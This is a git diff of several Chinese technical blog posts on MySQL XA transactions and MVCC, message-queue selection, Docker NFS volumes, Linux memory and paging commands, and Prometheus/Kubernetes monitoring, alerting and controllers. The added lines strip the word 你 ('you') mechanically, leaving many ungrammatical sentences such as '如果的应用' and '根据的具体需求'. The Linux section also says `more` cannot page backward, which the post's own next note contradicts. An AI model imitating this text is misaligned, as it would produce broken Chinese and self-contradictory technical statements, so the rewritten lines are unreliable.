可以通过设置合适的隔离级别和使用乐观锁或悲观锁来处理数据库的并发访问。乐观锁一般用于并发冲突较少的场景，它在数据提交时检查是否有冲突。悲观锁假定会发生并发冲突，提前阻塞，直到获取锁资源。 **乐观锁和悲观锁** @@ -757,13 +757,13 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 在MySQL中，使用XA命令来处理两阶段提交主要涉及到以下几个步骤： -> **启动一个XA事务**：使用`XA START`语句来开始一个新的XA事务。在这个语句中，你需要指定一个全局唯一的事务ID。例如：`XA START 'transaction_id';` +> **启动一个XA事务**：使用`XA START`语句来开始一个新的XA事务。在这个语句中，需要指定一个全局唯一的事务ID。例如：`XA START 'transaction_id';` -> **执行事务中的SQL语句**：在XA事务中，你可以执行你需要的SQL语句，如`INSERT`, `UPDATE`或`DELETE`等。 +> **执行事务中的SQL语句**：在XA事务中，可以执行需要的SQL语句，如`INSERT`, `UPDATE`或`DELETE`等。 -> **结束XA事务**：当你完成所有的SQL操作后，你需要使用`XA END`语句来结束XA事务。例如：`XA END 'transaction_id';` +> **结束XA事务**：当完成所有的SQL操作后，需要使用`XA END`语句来结束XA事务。例如：`XA END 'transaction_id';` -> **准备提交XA事务**：在准备阶段，你需要使用`XA PREPARE`语句来准备XA事务的提交。例如：`XA PREPARE 'transaction_id';`。这个命令会让MySQL检查当前事务中的所有操作是否都可以成功执行，如果可以，则将事务的状态标记为PREPARED。 +> **准备提交XA事务**：在准备阶段，需要使用`XA PREPARE`语句来准备XA事务的提交。例如：`XA PREPARE 'transaction_id';`。这个命令会让MySQL检查当前事务中的所有操作是否都可以成功执行，如果可以，则将事务的状态标记为PREPARED。 > **提交XA事务**：在准备阶段完成后，可以使用`XA COMMIT`语句来提交XA事务。例如：`XA COMMIT 'transaction_id';` @@ -780,7 +780,7 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 5-**请解释一下数据库中间件的作用和用途？** 答：数据库中间件是位于应用程序和数据库系统之间的软件，提供了一种通用的API来处理各种数据库系统，使应用程序可以与不同的数据库系统进行交互。除此之外，数据库中间件还可以提供其他功能，如负载均衡、故障转移、连接池管理、读写分离、数据库分片等。 -6-**请描述一下你对MySQL存储引擎InnoDB的理解？** +6-**请描述一下对MySQL存储引擎InnoDB的理解？** 答：InnoDB是MySQL的默认存储引擎，支持ACID事务、行级锁定、外键等特性。InnoDB还使用了一种叫做MVCC（多版本并发控制）的机制来处理并发事务。此外，InnoDB还使用了B+树作为其索引结构，并通过redo log和undo log来保证事务的持久性和一致性。 @@ -788,9 +788,9 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， MVCC通过在每个行记录后面保存两个隐藏的列来实现，这两个隐藏的列分别是：创建版本号（CREATED）和删除版本号（DELETED）。这两个版本号对应的是事务的版本号，即事务ID。每开始一个新的事务，事务ID就会自动递增。 -MVCC，即多版本并发控制，是由数据库系统自身实现的，并不需要在业务程序层面进行任何特别的处理。具体来说，当你在InnoDB中执行一个事务时，InnoDB会自动为这个事务创建一个独特的事务ID，并使用这个ID来处理数据行的版本控制。 +MVCC，即多版本并发控制，是由数据库系统自身实现的，并不需要在业务程序层面进行任何特别的处理。具体来说，当在InnoDB中执行一个事务时，InnoDB会自动为这个事务创建一个独特的事务ID，并使用这个ID来处理数据行的版本控制。 -在你执行SELECT语句时，InnoDB会根据MVCC的规则来决定哪些行是可见的，也就是说哪些行的数据是属于你这个事务的一致性视图的。当你执行INSERT、UPDATE或DELETE操作时，InnoDB也会根据MVCC的规则来更新数据行的版本信息。 +在执行SELECT语句时，InnoDB会根据MVCC的规则来决定哪些行是可见的，也就是说哪些行的数据是属于这个事务的一致性视图的。当执行INSERT、UPDATE或DELETE操作时，InnoDB也会根据MVCC的规则来更新数据行的版本信息。 总的来说，MVCC是由InnoDB内部实现并自动处理的，它能在提高并发性能的同时，保证事务的隔离性和一致性。这对于业务程序来说是透明的，也就是说业务程序不需要知道数据库是如何通过MVCC来处理并发事务的。 diff --git a/_posts/2023-9-21-test-markdown.md b/_posts/2023-9-21-test-markdown.md index 82c87e4245c4..9cc6c2554842 100644 --- a/_posts/2023-9-21-test-markdown.md +++ b/_posts/2023-9-21-test-markdown.md @@ -30,9 +30,9 @@ comments: true ### 技术选型 -吞吐率：不同的消息队列系统在吞吐量和延迟上有不同的表现。例如，如果你的应用需要处理大量的消息，那么你可能需要一个**高吞吐量的消息队列，如Kafka**。如果你的应用需要实时处理消息，那么你可能需要一个**低延迟的消息队列，如RabbitMQ**。 +吞吐率：不同的消息队列系统在吞吐量和延迟上有不同的表现。例如，如果的应用需要处理大量的消息，那么可能需要一个**高吞吐量的消息队列，如Kafka**。如果的应用需要实时处理消息，那么可能需要一个**低延迟的消息队列，如RabbitMQ**。 -可靠性：如果你的应用不能容忍消息的丢失，那么你需要一个支持持久化和事务的消息队列，如RabbitMQ和ActiveMQ。如果你的应用可以容忍少量的消息丢失，那么你可以**选择一个提供“至少一次”或“最多一次”投递保证的消息队列，如Kafka**。 +可靠性：如果的应用不能容忍消息的丢失，那么需要一个支持持久化和事务的消息队列，如RabbitMQ和ActiveMQ。如果的应用可以容忍少量的消息丢失，那么可以**选择一个提供“至少一次”或“最多一次”投递保证的消息队列，如Kafka**。 > 至少一次（At-Least-Once）：这种语义保证每个消息至少被投递一次。这可能导致消息的重复投递，因为在某些情况下，如网络故障或消费者崩溃，消息系统可能无法确定消息是否已经被成功处理，所以它会选择重新投递消息。这种语义适用于不能容忍消息丢失的场景，但应用需要能够处理重复的消息。 @@ -40,15 +40,15 @@ comments: true > 恰好一次（Exactly-Once），这种语义保证每个消息恰好被投递一次，既不会丢失也不会重复。然而，实现这种语义通常需要复杂的协议和高昂的性能开销，因此在实践中很少使用。 -> 如果你的应用需要处理金融交易，那么你可能需要一个提供至少一次或恰好一次语义的消息系统，如Kafka或RabbitMQ。如果你的应用需要处理日志数据，那么你可能可以接受最多一次语义，因为丢失少量的日志数据通常是可以接受的。 +> 如果的应用需要处理金融交易，那么可能需要一个提供至少一次或恰好一次语义的消息系统，如Kafka或RabbitMQ。如果的应用需要处理日志数据，那么可能可以接受最多一次语义，因为丢失少量的日志数据通常是可以接受的。 -功能需求：不同的消息队列系统提供了不同的功能，如消息过滤、优先级队列、延迟队列等。你需要根据你的应用需求来选择合适的消息队列。 +功能需求：不同的消息队列系统提供了不同的功能，如消息过滤、优先级队列、延迟队列等。需要根据的应用需求来选择合适的消息队列。 -集成需求：如果你的应用已经使用了某个技术栈，那么你可能希望选择一个与之兼容的消息队列。例如，如果你的应用使用了Spring框架，那么你可能会选择RabbitMQ，因为Spring提供了对RabbitMQ的良好支持。 +集成需求：如果的应用已经使用了某个技术栈，那么可能希望选择一个与之兼容的消息队列。例如，如果的应用使用了Spring框架，那么可能会选择RabbitMQ，因为Spring提供了对RabbitMQ的良好支持。 运维需求：不同的消息队列系统在运维上有不同的复杂度。例如，Kafka的运维相对复杂，需要专门的运维团队来维护。而RabbitMQ和ActiveMQ的运维相对简单，适合小团队使用。 -成本需求：你需要考虑消息队列系统的总体成本，包括硬件成本、软件成本、运维成本等。例如，如果你的应用部署在云上，那么你可能会选择一个云服务提供商提供的消息队列服务，如Amazon SQS或Google Pub/Sub，因为这样可以降低运维成本 +成本需求：需要考虑消息队列系统的总体成本，包括硬件成本、软件成本、运维成本等。例如，如果的应用部署在云上，那么可能会选择一个云服务提供商提供的消息队列服务，如Amazon SQS或Google Pub/Sub，因为这样可以降低运维成本 #### Kafka @@ -119,7 +119,7 @@ RabbitMQ：RabbitMQ 2007年发布，是使用Erlang语言开发的开源消息 #### 选型总结 -如果你需要处理大量的实时数据，那么Kafka或RocketMQ可能是一个好选择。如果你需要处理复杂的路由场景，那么RabbitMQ可能是一个好选择。如果你的应用是基于Java并且需要一个支持JMS的消息队列，那么ActiveMQ可能是一个好选择。 +如果需要处理大量的实时数据，那么Kafka或RocketMQ可能是一个好选择。如果需要处理复杂的路由场景，那么RabbitMQ可能是一个好选择。如果的应用是基于Java并且需要一个支持JMS的消息队列，那么ActiveMQ可能是一个好选择。 ### 基本概念 @@ -134,7 +134,7 @@ Topic：消息的分类，生产者将消息发送到特定的Topic，消费者 Partition：Topic的分区，每个Topic可以有一个或多个Partition，每个Partition是一个有序的消息队列。 Broker：Kafka服务器，一个Kafka集群由多个Broker组成。 -如何使用：Kafka提供了Java API用于生产和消费消息。生产者使用KafkaProducer类发送消息，消费者使用KafkaConsumer类读取消息。你也可以使用Kafka的命令行工具进行操作，例如创建Topic、查看Topic信息等。 +如何使用：Kafka提供了Java API用于生产和消费消息。生产者使用KafkaProducer类发送消息，消费者使用KafkaConsumer类读取消息。也可以使用Kafka的命令行工具进行操作，例如创建Topic、查看Topic信息等。 系统架构： @@ -165,7 +165,7 @@ Producer：消息生产者，负责产生消息并发送到RabbitMQ。 Consumer：消息消费者，从RabbitMQ中读取并处理消息。 Queue：消息队列，生产者将消息发送到Queue，消费者从Queue中读取消息。 Exchange：交换器，负责接收生产者发送的消息并根据路由规则将消息路由到一个或多个Queue。 -如何使用：RabbitMQ提供了多种语言的客户端库，例如Java、Python、.NET等。你可以使用这些库中的API来生产和消费消息。例如，在Java中，你可以使用Channel类的basicPublish方法发送消息，使用basicConsume方法读取消息。 +如何使用：RabbitMQ提供了多种语言的客户端库，例如Java、Python、.NET等。可以使用这些库中的API来生产和消费消息。例如，在Java中，可以使用Channel类的basicPublish方法发送消息，使用basicConsume方法读取消息。 消息发送过程： @@ -179,11 +179,11 @@ Exchange：交换器，负责接收生产者发送的消息并根据路由规则 绑定队列到交换器：生产者将队列绑定到交换器，并指定一个路由键（Routing Key）。路由键是交换器根据规则将消息路由到队列的依据。 -发送消息：生产者通过调用basicPublish方法发送消息。在调用此方法时，需要提供交换器名称、路由键和消息内容。消息内容通常是字节流，所以你可能需要将你的对象序列化为字节流。 +发送消息：生产者通过调用basicPublish方法发送消息。在调用此方法时，需要提供交换器名称、路由键和消息内容。消息内容通常是字节流，所以可能需要将的对象序列化为字节流。 关闭通道和连接：发送完消息后，生产者需要关闭Channel和Connection。 -在实际使用中，为了提高性能，你可能需要使用一些高级特性，如消息确认、事务、发布确认等。 +在实际使用中，为了提高性能，可能需要使用一些高级特性，如消息确认、事务、发布确认等。 #### RocketMQ @@ -220,7 +220,7 @@ Broker选择：RocketMQ Producer会根据Topic选择一个合适的Broker来发 Producer：消息生产者，负责产生消息并发送到ActiveMQ。 Consumer：消息消费者，从ActiveMQ中读取并处理消息。 Queue/Topic：ActiveMQ支持两种消息模型，点对点模型（Queue）和发布订阅模型（Topic）。 -如何使用：ActiveMQ提供了JMS（Java Message Service）API用于生产和消费消息。你可以使用MessageProducer类发送消息，使用MessageConsumer类读取消息。 +如何使用：ActiveMQ提供了JMS（Java Message Service）API用于生产和消费消息。可以使用MessageProducer类发送消息，使用MessageConsumer类读取消息。 消息发送过程： @@ -230,17 +230,17 @@ Queue/Topic：ActiveMQ支持两种消息模型，点对点模型（Queue）和 创建会话：在连接上创建一个会话（Session）。会话是发送和接收消息的上下文。 -创建目的地：在会话上创建一个目的地（Destination）。目的地可以是队列（Queue）或主题（Topic），取决于你使用的是点对点模型还是发布订阅模型。 +创建目的地：在会话上创建一个目的地（Destination）。目的地可以是队列（Queue）或主题（Topic），取决于使用的是点对点模型还是发布订阅模型。 创建生产者：在会话上创建一个消息生产者（MessageProducer）。生产者用于发送消息到目的地。 -创建消息：创建一个消息（Message）。消息可以是文本消息（TextMessage）、字节消息（BytesMessage）、对象消息（ObjectMessage）等，取决于你需要发送的数据类型。 +创建消息：创建一个消息（Message）。消息可以是文本消息（TextMessage）、字节消息（BytesMessage）、对象消息（ObjectMessage）等，取决于需要发送的数据类型。 发送消息：生产者调用send()方法发送消息到目的地。 关闭资源：发送完消息后，生产者需要关闭消息、生产者、会话和连接。 -在实际使用中，为了提高性能，你可能需要使用一些高级特性，如消息持久性、消息优先级、消息过期等。 +在实际使用中，为了提高性能，可能需要使用一些高级特性，如消息持久性、消息优先级、消息过期等。 diff --git a/_posts/2023-9-22-test-markdown.md b/_posts/2023-9-22-test-markdown.md index b6d47d5e46b7..c34911e560b7 100644 --- a/_posts/2023-9-22-test-markdown.md +++ b/_posts/2023-9-22-test-markdown.md @@ -9,13 +9,13 @@ comments: true ## 容器术语解析 容器（Container）：容器是一种轻量级、可移植、自包含的软件包装方式，它包含了运行一个软件所需要的所有内容，包括代码、运行时环境、库、环境变量和配置文件。 -镜像（Image）：镜像是创建容器的模板，它是一个只读的文件，包含了运行一个容器所需要的代码以及依赖的环境。你可以把它理解为容器的“蓝图”。 +镜像（Image）：镜像是创建容器的模板，它是一个只读的文件，包含了运行一个容器所需要的代码以及依赖的环境。可以把它理解为容器的“蓝图”。 容器镜像（Container Image）：这是“镜像”和“容器”两个概念的结合，指的是用来创建容器的镜像。 镜像层（Image Layer）：Docker使用联合文件系统（Union File System）来构建一个镜像，每一层都是只读的，每一层都代表镜像构建过程的一部分。每一层都会增加镜像的大小。 -注册中心（Registry）：注册中心是存储镜像的地方。Docker Hub是最常用的公开注册中心，你也可以设置私有注册中心。 +注册中心（Registry）：注册中心是存储镜像的地方。Docker Hub是最常用的公开注册中心，也可以设置私有注册中心。 仓库（Repository）：在特定的注册中心中，仓库是用来存储和组织镜像的地方。一个仓库可以包含多个版本的同一个镜像，每个版本都有一个不同的标签。 @@ -93,13 +93,13 @@ Docker可以使用NFS卷来挂载NFS共享到容器中，这样可以让容器 以下是使用Docker NFS卷来挂载NFS共享到容器的步骤： -首先，你需要在宿主机上安装NFS客户端。在Ubuntu上，你可以使用以下命令来安装： +首先，需要在宿主机上安装NFS客户端。在Ubuntu上，可以使用以下命令来安装： ```shell sudo apt-get update sudo apt-get install nfs-common ``` -然后，你需要创建一个Docker卷来挂载NFS共享。你可以使用docker volume create命令来创建一个NFS卷： +然后，需要创建一个Docker卷来挂载NFS共享。可以使用docker volume create命令来创建一个NFS卷： ``` docker volume create --driver local \ @@ -108,16 +108,16 @@ docker volume create --driver local \ --opt device=:/path/to/dir \ nfs_volume ``` -这个命令会创建一个名为`nfs_volume`的Docker卷，这个卷会挂载NFS服务器上的`/path/to/dir`目录。你需要将nfs_server和/path/to/dir替换为实际的NFS服务器地址和目录。 +这个命令会创建一个名为`nfs_volume`的Docker卷，这个卷会挂载NFS服务器上的`/path/to/dir`目录。需要将nfs_server和/path/to/dir替换为实际的NFS服务器地址和目录。 -最后，你可以在创建容器时使用-v参数来挂载这个NFS卷： +最后，可以在创建容器时使用-v参数来挂载这个NFS卷： ```shell docker run -d -v nfs_volume:/data some_image ``` 这个命令会启动一个新的容器，这个容器会挂载nfs_volume卷到/data目录。容器中的应用可以通过/data目录来访问NFS共享中的文件和目录。 -这样做的原因是，使用NFS卷可以让容器直接访问NFS共享中的文件和目录，而不需要将这些文件和目录复制到容器中。这样可以让多个容器共享同一份数据，或者让容器和宿主机共享数据。此外，使用NFS卷还可以让你在不修改容器的情况下，动态地改变容器可以访问的文件和目录。 +这样做的原因是，使用NFS卷可以让容器直接访问NFS共享中的文件和目录，而不需要将这些文件和目录复制到容器中。这样可以让多个容器共享同一份数据，或者让容器和宿主机共享数据。此外，使用NFS卷还可以让在不修改容器的情况下，动态地改变容器可以访问的文件和目录。 diff --git a/_posts/2023-9-23-test-markdown.md b/_posts/2023-9-23-test-markdown.md index 3241ee2579a3..4cc1a04562f2 100644 --- a/_posts/2023-9-23-test-markdown.md +++ b/_posts/2023-9-23-test-markdown.md @@ -107,13 +107,13 @@ more less和more都是Linux中的文件查看命令，它们都可以用来查看文件内容，但是在翻页操作和功能上有一些不同。 -more命令：这是一个基本的文件查看命令，它会按页显示文件内容。在查看文件时，你可以按空格键向下翻页，按b键向上翻页。但是，more命令只能向前翻页，不能向后翻页。此外，more命令不支持在文件中搜索文本。 +more命令：这是一个基本的文件查看命令，它会按页显示文件内容。在查看文件时，可以按空格键向下翻页，按b键向上翻页。但是，more命令只能向前翻页，不能向后翻页。此外，more命令不支持在文件中搜索文本。 使用空格键可以向下翻页； 使用 b 键可以向上翻页。 这里的 "向后翻页" 应该理解为向回浏览已经查看过的内容，也就是向上翻页，more 命令是支持这个功能的。 -less命令：less命令是more命令的扩展版本，它提供了更多的功能。与more命令不同，less命令允许你向前和向后翻页。你可以使用上下箭头键或者Page Up和Page Down键来翻页。此外，less命令还支持在文件中搜索文本，你可以按/键输入搜索关键词。 +less命令：less命令是more命令的扩展版本，它提供了更多的功能。与more命令不同，less命令允许向前和向后翻页。可以使用上下箭头键或者Page Up和Page Down键来翻页。此外，less命令还支持在文件中搜索文本，可以按/键输入搜索关键词。 ```shell tail @@ -242,7 +242,7 @@ Mem: 7.7Gi 1.1Gi 5.3Gi 647Mi 1.3Gi 6.0Gi Swap: 2.0Gi 128Mi 1.9Gi /proc/meminfo 文件 ``` -你也可以直接查看 /proc/meminfo 文件以获取详细的内存使用信息。 +也可以直接查看 /proc/meminfo 文件以获取详细的内存使用信息。 ```shell cat /proc/meminfo @@ -266,7 +266,7 @@ htop是top的一个更先进的替代品，提供了更多的信息和更好的 ```shell htop ``` -如果你的系统没有预安装htop，你可以使用包管理器（如apt、yum或brew等）来安装。 +如果的系统没有预安装htop，可以使用包管理器（如apt、yum或brew等）来安装。 sar 命令 sar命令可以用来查看系统资源的历史和实时使用情况，包括CPU、内存、I/O等。 @@ -274,7 +274,7 @@ sar命令可以用来查看系统资源的历史和实时使用情况，包括CP ```shell sar -r ``` -这些只是查看Linux系统内存使用情况的几种方法。根据你的具体需求，你可能会选择使用其中的一种或多种方法。 +这些只是查看Linux系统内存使用情况的几种方法。根据的具体需求，可能会选择使用其中的一种或多种方法。 显示磁盘的使用空间 diff --git a/_posts/2023-9-25-test-markdown.md b/_posts/2023-9-25-test-markdown.md index 91db9de80a0b..3dd6180b7cf9 100644 --- a/_posts/2023-9-25-test-markdown.md +++ b/_posts/2023-9-25-test-markdown.md @@ -28,7 +28,7 @@ Prometheus有多种方法可以抓取指标，但最常见的两种方法是使 ##### PodMonitor -PodMonitor：PodMonitor是一种Kubernetes自定义资源（CRD），它定义了Prometheus如何从Kubernetes Pod中抓取指标。当你创建一个PodMonitor时，Prometheus Operator会自动更新Prometheus的配置，以便它开始抓取匹配PodMonitor定义的Pod的指标。 +PodMonitor：PodMonitor是一种Kubernetes自定义资源（CRD），它定义了Prometheus如何从Kubernetes Pod中抓取指标。当创建一个PodMonitor时，Prometheus Operator会自动更新Prometheus的配置，以便它开始抓取匹配PodMonitor定义的Pod的指标。 ```yaml apiVersion: monitoring.coreos.com/v1 @@ -46,7 +46,7 @@ spec: app: example-app ``` -在这个例子中，我们定义了一个名为example-podmonitor的PodMonitor对象。它配置Prometheus每30秒从/metrics路径上的web端口抓取指标。这个PodMonitor对象将会选择所有带有标签app: example-app的Pod进行监控。这就意味着，如果你有一个或多个Pod，它们的标签是app: example-app，并且在web端口上提供了/metrics路径，那么Prometheus就会自动开始从这些Pod中抓取指标 +在这个例子中，我们定义了一个名为example-podmonitor的PodMonitor对象。它配置Prometheus每30秒从/metrics路径上的web端口抓取指标。这个PodMonitor对象将会选择所有带有标签app: example-app的Pod进行监控。这就意味着，如果有一个或多个Pod，它们的标签是app: example-app，并且在web端口上提供了/metrics路径，那么Prometheus就会自动开始从这些Pod中抓取指标 > 这个Yaml文件中的内容并不直接定义Prometheus，而是定义了一个PodMonitor对象。PodMonitor是Prometheus Operator提供的一个自定义资源（Custom Resource Definition，CRD）。Prometheus Operator是一个在Kubernetes上运行的组件，它的作用是自动化Prometheus的部署和配置。 @@ -54,7 +54,7 @@ spec: > 当Prometheus Operator看到这个PodMonitor对象后，它会自动更新Prometheus的配置，使得Prometheus开始按照PodMonitor的定义从相应的Pod中抓取指标。这就是为什么这个Yaml文件中没有直接出现Prometheus的定义，但是它仍然能够影响Prometheus的行为。 -> Prometheus Operator并不是Kubernetes集群的内置组件，你需要手动在你的Kubernetes集群中安装和配置Prometheus Operator。 +> Prometheus Operator并不是Kubernetes集群的内置组件，需要手动在的Kubernetes集群中安装和配置Prometheus Operator。 > Prometheus Operator是一个开源项目，由CoreOS（现在是Red Hat的一部分）开发，用于简化Prometheus在Kubernetes上的部署和管理。它提供了一种声明式的方法来定义和管理Prometheus和Alertmanager实例，以及与之相关的监控资源，如ServiceMonitor和PodMonitor @@ -62,32 +62,32 @@ spec: **使用Helm chart** -Helm是Kubernetes的一个包管理器，可以让你使用预定义的"chart"（包含了一组Kubernetes资源的定义）来部署应用。要使用Helm来安装Prometheus Operator，你可以按照以下步骤操作： +Helm是Kubernetes的一个包管理器，可以让使用预定义的"chart"（包含了一组Kubernetes资源的定义）来部署应用。要使用Helm来安装Prometheus Operator，可以按照以下步骤操作： -- 首先，你需要在你的机器上安装Helm。你可以从Helm的官方网站下载安装包，或者使用包管理器（如apt或yum）来安装。 -- 然后，你可以添加Prometheus Operator的Helm repository。- 这通常可以通过运行helm repo add prometheus-community https://prometheus-community.github.io/helm-charts来完成。 -- 最后，你可以使用helm install命令来安装Prometheus Operator。例如，你可以运行helm install my-release prometheus-community/kube-prometheus-stack来安装Prometheus Operator。 +- 首先，需要在的机器上安装Helm。可以从Helm的官方网站下载安装包，或者使用包管理器（如apt或yum）来安装。 +- 然后，可以添加Prometheus Operator的Helm repository。- 这通常可以通过运行helm repo add prometheus-community https://prometheus-community.github.io/helm-charts来完成。 +- 最后，可以使用helm install命令来安装Prometheus Operator。例如，可以运行helm install my-release prometheus-community/kube-prometheus-stack来安装Prometheus Operator。 **使用OperatorHub.io** -OperatorHub.io是一个提供各种Kubernetes Operator的市场。要使用OperatorHub.io来安装Prometheus Operator，你可以按照以下步骤操作： +OperatorHub.io是一个提供各种Kubernetes Operator的市场。要使用OperatorHub.io来安装Prometheus Operator，可以按照以下步骤操作： -- 首先，你需要访问OperatorHub.io的网站，并在搜索框中输入"Prometheus Operator"。 +- 首先，需要访问OperatorHub.io的网站，并在搜索框中输入"Prometheus Operator"。 - 在搜索结果中，找到Prometheus Operator，并点击进入详情页面。 -- 在详情页面，你可以找到安装指南。通常，这会包括一个可以用来安装Prometheus Operator的YAML文件，以及一些额外的配置步骤。 +- 在详情页面，可以找到安装指南。通常，这会包括一个可以用来安装Prometheus Operator的YAML文件，以及一些额外的配置步骤。 **直接使用YAML文件** -如果你更喜欢手动的方式，你也可以直接使用YAML文件来安装Prometheus Operator。这通常涉及以下步骤： +如果更喜欢手动的方式，也可以直接使用YAML文件来安装Prometheus Operator。这通常涉及以下步骤： -首先，你需要从Prometheus Operator的GitHub仓库下载YAML文件。这通常可以在仓库的"bundle.yaml"文件中找到。 -然后，你可以使用kubectl apply -f bundle.yaml命令来应用这个YAML文件，从而在你的Kubernetes集群中创建Prometheus Operator。 +首先，需要从Prometheus Operator的GitHub仓库下载YAML文件。这通常可以在仓库的"bundle.yaml"文件中找到。 +然后，可以使用kubectl apply -f bundle.yaml命令来应用这个YAML文件，从而在的Kubernetes集群中创建Prometheus Operator。 > https://prometheus-community.github.io/helm-charts/ ##### ServeiceMonitor -ServiceMonitor：ServiceMonitor也是一种Kubernetes自定义资源，它定义了Prometheus如何从Kubernetes Service中抓取指标。当你创建一个ServiceMonitor时，Prometheus Operator也会自动更新Prometheus的配置，以便它开始抓取匹配ServiceMonitor定义的Service的指标。 +ServiceMonitor：ServiceMonitor也是一种Kubernetes自定义资源，它定义了Prometheus如何从Kubernetes Service中抓取指标。当创建一个ServiceMonitor时，Prometheus Operator也会自动更新Prometheus的配置，以便它开始抓取匹配ServiceMonitor定义的Service的指标。 ```yaml apiVersion: monitoring.coreos.com/v1 @@ -116,7 +116,7 @@ spec: Prometheus的报警和通知功能分为两部分：PrometheusServer中的报警规则和Alertmanager。报警规则在PrometheusServer中定义，当满足某些条件时，Prometheus会向Alertmanager发送报警。然后，Alertmanager管理这些报警，包括静音、抑制、聚合，并通过各种方式（如电子邮件、值班通知系统、聊天平台等）发送通知。 ##### 为业务指标配置告警策略 -在Prometheus中，你可以创建报警规则来定义何时应该触发报警。这些规则通常在Prometheus的配置文件中定义，或者在单独的规则文件中定义。 +在Prometheus中，可以创建报警规则来定义何时应该触发报警。这些规则通常在Prometheus的配置文件中定义，或者在单独的规则文件中定义。 一个报警规则的例子可能如下所示： ```yaml @@ -136,7 +136,7 @@ groups: ##### 自定义渠道通知集成 Prometheus的Alertmanager组件负责处理由Prometheus服务器发送的报警，并将报警通知发送到预配置的接收器。Alertmanager支持多种通知方式，包括电子邮件、PagerDuty、OpsGenie、Slack、Webhook等。 -你可以在Alertmanager的配置文件中定义接收器和路由规则。例如，以下的配置定义了一个Slack接收器： +可以在Alertmanager的配置文件中定义接收器和路由规则。例如，以下的配置定义了一个Slack接收器： ```yaml receivers: - name: 'slack-notifications' @@ -155,7 +155,7 @@ receivers: ##### 基于Prometheus自定义指标的弹性伸缩 Prometheus 是一个开源的监控和警报工具，它可以收集和存储各种类型的时间序列数据。在 Kubernetes 中，可以使用 Prometheus 自定义指标进行弹性伸缩。以下是实现步骤： -> 1.安装并配置 Prometheus 以收集你需要的指标 +> 1.安装并配置 Prometheus 以收集需要的指标 Prometheus 的配置是通过一个 YAML 文件进行的。这个文件定义了 Prometheus 应该从哪些目标收集指标，以及如何处理这些指标。以下是一个简单的配置文件示例： ```yaml @@ -172,13 +172,13 @@ scrape_configs: > 2.使用 Prometheus Adapter 将 Prometheus 指标暴露给 Kubernetes API。 -Prometheus Adapter 是一个 Kubernetes 的自定义 API 服务器，它可以将 Prometheus 指标暴露给 Kubernetes API。你可以使用 Helm 或其他 Kubernetes 包管理器来安装 Prometheus Adapter。以下是使用 Helm 安装 Prometheus Adapter 的一个例子： +Prometheus Adapter 是一个 Kubernetes 的自定义 API 服务器，它可以将 Prometheus 指标暴露给 Kubernetes API。可以使用 Helm 或其他 Kubernetes 包管理器来安装 Prometheus Adapter。以下是使用 Helm 安装 Prometheus Adapter 的一个例子： ```shell helm install stable/prometheus-adapter --name prometheus-adapter --namespace prometheus ``` -> 3.创建一个 HorizontalPodAutoscaler 对象，该对象使用你的自定义指标作为伸缩的依据。 +> 3.创建一个 HorizontalPodAutoscaler 对象，该对象使用的自定义指标作为伸缩的依据。 ```yaml apiVersion: autoscaling/v2beta2 kind: HorizontalPodAutoscaler @@ -208,7 +208,7 @@ HorizontalPodAutoscaler 是 Kubernetes 的一个资源，它可以根据 CPU 利 事件驱动的弹性伸缩是指根据系统中发生的事件（如队列长度超过阈值、特定错误的出现频率等）来动态调整 Pod 的数量。这通常需要使用到 Kubernetes 的自定义资源定义（CRD）和自定义控制器。以下是实现步骤： -> 1.定义一个 CRD 来表示你的事件。 +> 1.定义一个 CRD 来表示的事件。 ```yaml apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition @@ -262,11 +262,11 @@ kubectl apply -f ```shell kubectl get crds ``` -命令来查看所有的 CRD。你应该能在列表中看到你刚刚创建的 CRD。 +命令来查看所有的 CRD。应该能在列表中看到刚刚创建的 CRD。 > 4.定义控制器的行为 -你需要定义控制器应该如何响应你的自定义资源的变化。这通常涉及到编写一些代码，这些代码会监视你的自定义资源，并在资源发生变化时执行相应的操作。 +需要定义控制器应该如何响应的自定义资源的变化。这通常涉及到编写一些代码，这些代码会监视的自定义资源，并在资源发生变化时执行相应的操作。 ```go type CronJobReconciler struct { client.Client @@ -276,19 +276,19 @@ type CronJobReconciler struct { 定义了一个控制器，它是 CronJobReconciler 结构体,这个控制器的行为主要在 Reconcile 方法中定义。Reconcile 方法会在 Kubernetes API 中的 CronJob 对象发生变化时被调用。 > 5.创建控制器 -一旦你定义了控制器的行为，你就可以创建控制器了。在 Kubernetes 中，控制器通常是一个运行在 Pod 中的程序，这个程序会持续运行并监视你的自定义资源。你可以使用各种语言和框架来创建控制器，包括 Go、Java、Python 等。有一些库和工具可以帮助你创建控制器，例如 Operator SDK、Kubebuilder、Metacontroller 等。 +一旦定义了控制器的行为，就可以创建控制器了。在 Kubernetes 中，控制器通常是一个运行在 Pod 中的程序，这个程序会持续运行并监视的自定义资源。可以使用各种语言和框架来创建控制器，包括 Go、Java、Python 等。有一些库和工具可以帮助创建控制器，例如 Operator SDK、Kubebuilder、Metacontroller 等。 以下是使用 Go 和 Kubebuilder 创建控制器的一个例子。这个例子是基于上面的的 CronTab CRD。 -- 首先，你需要安装 Go 和 Kubebuilder。然后，你可以创建一个新的 Kubebuilder 项目，并在其中添加你的 CRD。 +- 首先，需要安装 Go 和 Kubebuilder。然后，可以创建一个新的 Kubebuilder 项目，并在其中添加的 CRD。 ```shell go mod init cronjob kubebuilder init --domain example.com kubebuilder create api --group batch --version v1 --kind CronJob ``` -这将创建一个新的 CronJob 控制器。你可以在 controllers/cronjob_controller.go 文件中找到它。 +这将创建一个新的 CronJob 控制器。可以在 controllers/cronjob_controller.go 文件中找到它。 -- 接下来，你需要实现控制器的逻辑。这通常包括读取你的 CRD，然后根据 CRD 的状态做出相应的操作。以下是一个简单的例子 +- 接下来，需要实现控制器的逻辑。这通常包括读取的 CRD，然后根据 CRD 的状态做出相应的操作。以下是一个简单的例子 ```go package controllers @@ -341,7 +341,7 @@ func (r *CronJobReconciler) SetupWithManager(mgr ctrl.Manager) error { } ``` -在这个例子中，Reconcile 方法会在 Kubernetes API 中的 CronJob 对象发生变化时被调用。你可以在这个方法中添加你的业务逻辑。SetupWithManager 方法告诉 controller-runtime 库你的控制器需要监视哪些资源。在你的例子中，你的控制器将监视 CronJob 对象的变化。 +在这个例子中，Reconcile 方法会在 Kubernetes API 中的 CronJob 对象发生变化时被调用。可以在这个方法中添加的业务逻辑。SetupWithManager 方法告诉 controller-runtime 库的控制器需要监视哪些资源。在的例子中，的控制器将监视 CronJob 对象的变化。 